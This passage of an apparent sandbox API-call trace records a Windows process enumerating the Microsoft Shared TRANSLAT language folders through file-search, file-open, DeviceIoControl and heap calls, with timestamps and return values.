cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0061.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.610] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0061.610] GetLastError () returned 0x12 [0061.610] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0061.610] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0061.610] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.611] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0061.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0061.631] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa043a8 [0061.631] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa043a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa043a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa043a8) returned 1 [0061.631] NtClose (Handle=0x168) returned 0x0 [0061.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0061.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.632] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0061.632] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.632] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0061.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa022f8 [0061.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0061.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03c60 [0061.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02400 [0061.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.632] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0061.632] GetLastError () returned 0x12 [0061.632] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.632] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0061.632] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.632] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0061.632] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0061.632] GetLastError () returned 0x12 [0061.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.633] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa022f8) returned 1 [0061.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.633] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.633] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0061.643] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa043a8 [0061.643] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa043a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa043a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa043a8) returned 1 [0061.643] NtClose (Handle=0x160) returned 0x0 [0061.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.643] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.643] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.643] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0061.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0061.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0061.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0061.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0061.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0061.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa022f8 [0061.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03c80 [0061.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02508 [0061.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0061.644] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0061.644] GetLastError () returned 0x12 [0061.644] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0061.644] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.644] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.644] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0061.644] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0061.644] GetLastError () returned 0x12 [0061.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.644] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0061.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa022f8) returned 1 [0061.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.644] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0061.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0061.645] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa043a8 [0061.645] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa043a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa043a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa043a8) returned 1 [0061.645] NtClose (Handle=0x168) returned 0x0 [0061.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0061.645] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0061.645] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.645] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0061.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa022f8 [0061.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03ca0 [0061.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02610 [0061.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.646] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0061.646] GetLastError () returned 0x12 [0061.646] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.646] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0061.646] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.646] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0061.646] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0061.646] GetLastError () returned 0x12 [0061.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0061.646] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa022f8) returned 1 [0061.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.646] FindNextFileW (in: hFindFile=0x2e9100, 